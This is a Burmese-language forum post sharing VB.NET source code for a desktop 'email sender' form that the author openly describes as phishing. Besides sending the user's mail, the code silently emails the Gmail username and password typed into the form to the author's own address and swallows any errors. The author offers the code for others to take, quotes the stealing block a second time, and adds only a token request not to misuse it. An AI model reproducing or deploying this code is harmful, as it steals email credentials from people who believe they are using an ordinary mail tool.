Old 05-03-2013, 10:00 AM
  post #1
aungphyo
အရြယ္ေရာက္သူ
 
အသင္း၀င္ေန႔စြဲ: Dec 2010
ေရးသားခ်က္မ်ား: 162
ႏိုင္ငံအလံ: Users Flag!
ေက်းဇူးတင္စကား: 2,097
ပို႔စ္ 144 ခုအတြက္ 1,026 ဦးမွ ေက်းဇူးတင္ေၾကာင္းေျပာပါသည္။
aungphyo is on a distinguished road
Icon2 ဒါကေတာ့ email sender (တစ္နည္းအားျဖင့္ :P)

ဒီတစ္ခါေတာ့ သိတာေလးေတြရတာေလးေတြ ျပန္ခ်ယ္တာပါ။ vb 2010 express ပါ။ email sender ေလးတစ္ခု လုပ္ထားတာပါ။ ကိုယ့္ဆီကေန တစ္ျခားတစ္ေယာက္ဆီကို email ပို႕တဲ့ form ေလးတစ္ခုပါ။ ဒါေပမယ့္ ကၽြန္ေတာ္က သူကို email phishing ေလးတစ္ခုလို႕ ျပန္ျပီး ထည့္ထားပါတယ္။။ ဒါကတစ္ကယ္ေတာ့ မေကာင္းပါဘူး သူမ်ား အေကာင့္နဲ႕ပါတ္၀တ္ကို phishing လုပ္ျပီးခုိးယူတာပါ။ email လည္း တစ္ကယ္ပို႕လို႕ရပါတယ္။။။။ စိတ္၀င္စားသူမ်ား ယူလို႕ရပါတယ္... ပံုေလးနဲ႕ project code ေလးပဲ ထည့္ေပးလိုက္ေတာ့မယ္။။။ တစ္ျခားသူေတြကိုေတာ့ အဲ့နည္းလမ္းသံုးျပီး မလုပ္ၾကပါနဲ႕လို႕ ၾကိဳတင္ေတာင္းပန္ပါရေစ...

အက်ယ္တစ္၀င့္ေတာ့ မရွင္းျပေတာ့ပါဘူး နားမလည္ရင္ေတာ့ ထပ္ေမးၾကပါ။. ကိုယ့္အတြက္ ဒီလို ပံုစံေလး ဒီၤဇိုင္းေလးမ်ား ေပးပို႕လာရင္ ၾကိဳတင္ ေခ်ာင္ျခားနိုင္ေအာင္ အတြက္ပါ။
Imports System.Net.Mail
Imports System.IO

Public Class Form1

Private Property File As Object

Private Property richtextbox6 As Drawing.Font

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(TextBox4.Text)
mail.To.Add(TextBox3.Text)
mail.Subject = TextBox5.Text
mail.Body = TextBox6.Text
smtpServer.Send(mail)
MsgBox("Mail Sent!", MsgBoxStyle.OkOnly, "Sent")

Try
MyMailMessage.From = New MailAddress("Your email address")
MyMailMessage.To.Add("your email address")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Your email address ", "your email password")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
mail.Body = TextBox6.Text
If Not TextBox7.Text = Nothing Then
Dim attach As New Attachment(TextBox7.Text)
mail.Attachments.Add(attach)
End If
If Not TextBox8.Text = Nothing Then
Dim attach As New Attachment(TextBox8.Text)
mail.Attachments.Add(attach)
End If
If Not TextBox9.Text = Nothing Then
Dim attach As New Attachment(TextBox9.Text)
mail.Attachments.Add(attach)
End If
smtpServer.EnableSsl = True
Try
smtpServer.Send(mail)
Catch ex As SmtpException
MsgBox("either you typed something wrong or something is wrong with the program...most likely it was something you typed so try again")
End Try
End Sub

Private Function MailMessage() As Object
Throw New NotImplementedException
End Function

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
File = Nothing
OpenFileDialog1.ShowDialog()
File = OpenFileDialog1.FileNames
TextBox7.Text = File(0)
Try
TextBox8.Text = File(1)
Catch ex As IndexOutOfRangeException
End Try
Try
TextBox9.Text = File(2)
Catch ex As IndexOutOfRangeException
End Try
End Sub

Private Function attach() As Attachment
Throw New NotImplementedException
End Function

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.Close()
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
File = Nothing
OpenFileDialog1.ShowDialog()
File = OpenFileDialog1.FileNames
TextBox8.Text = File(0)
Try
TextBox7.Text = File(1)
Catch ex As IndexOutOfRangeException
End Try
Try
TextBox9.Text = File(2)
Catch ex As IndexOutOfRangeException
End Try
End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
File = Nothing
OpenFileDialog1.ShowDialog()
File = OpenFileDialog1.FileNames
TextBox9.Text = File(0)
Try
TextBox8.Text = File(1)
Catch ex As IndexOutOfRangeException
End Try
Try
TextBox7.Text = File(2)
Catch ex As IndexOutOfRangeException
End Try
End Sub
End Class


your email address နဲ႕ your email password ပါတဲ့ ေနရာေတြမွာ မိမိ၇ဲ့ တစ္ကယ့္အေကာင့္နဲ႕ပါတ္၀တ္ကို ထည့္ရပါမယ့္ ဒါက phishing အတြက္ ပါ။။ တစ္ကယ္လို႕ email sender တစ္ခုတည္း ထားခ်င္တယ္ဆို၇င္ ေအာက္ က ကုဒ္ေလးကို ျဖဳတ္လိုက္ပါ။
Try
MyMailMessage.From = New MailAddress("Your email address")
MyMailMessage.To.Add("your email address")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Your email address ", "your email password")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
ဒါက phishing အတြက္ ကုဒ္ပါ။


[Marquee][b][color=blue][size=+1]မိမိသည္ အမ်ားေကာင္းက်ိဳး ေဆာင္ရႊက္နိုင္ရမည္..[/b][/color][/size][/Marquee]
[Marquee][b][color=red][size=+1]အမ်ားေကာင္းက်ိဳး ေဆာင္ရႊက္ရင္း မိမိ အက်ိဳးစီးပြားကိုလည္း ၾကည့္ရမည္.. [/b][/color][/size] [/Marquee]
[I][COLOR="Purple"][email]aungphyo@blumail.org[/email][/COLOR][/I]
နွစ္ကိုယ္တူခ်စ္သမ်ကို:1:
[MP3]http://k003.kiwi6.com/uploads/hotlink/v5yh99dvpx&titles=aung.mp3[/MP3]
aungphyo is offline   Reply With Quote
ေအာက္ပါအသင္း၀င္ 2 ဦးတို႔မွ aungphyo အား ေက်းဇူးတင္စကား ေျပာၾကားသြားပါသည္။
Reply

တန္ဆာပလာမ်ား
ေဖာ္ျပမႈပံုစံ

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

ဖိုရမ္ေတြ ေက်ာ္ေရာက္ခ်င္ရင္ !

အျခားဆင္တူေဆြးေႏြးခ်က္မ်ား
ေဆြးေႏြးခ်က္ စတင္ေရးသားသူ ကြပ္ပ်စ္၀ိုင္း ျပန္စာမ်ား ေနာက္ဆံုးပို႔စ္
Windows Application in C# green leaf ေဆြးေႏြးခ်က္မ်ား 48 20-09-2012 06:04 PM
အခမဲ့ အသုံးျပဳႏုိင္ေသာ Email System (10) မ်ဳိး ေမာင္ေပၚဦး Chat software မ်ားဆိုင္ရာ 1 26-02-2012 09:07 PM
မိမိပို ့လိုက္တဲ့ Email ကို လက္ခံတဲ့သူကဖတ္မဖတ္သိခ်င္ရင္ ေမာင္ေပၚဦး Chat software မ်ားဆိုင္ရာ 0 10-06-2011 02:34 PM
တစ္ႀကိမ္ တစ္ခါသံုး Email Services မ်ားအေၾကာင္း KznT Internet ႏွင့္ဆိုင္ရာမ်ား 0 26-01-2011 04:27 AM
Gmail အတြက္ အစြမ္းထက္နည္းလမ္း (၈၀) ေမာင္ေအာင္ဟိန္းေအး Chat software မ်ားဆိုင္ရာ 0 12-01-2011 11:57 AM


ဖိုရမ္၏ ပင္မအခ်ိန္သည္ ဂရင္းနစ္စံေတာ္ခ်ိန္ +6.5 ျဖစ္သည္။ေဒသစံေတာ္ခ်ိန္ 10:24 PM
Inactive Reminders By Icora Web Design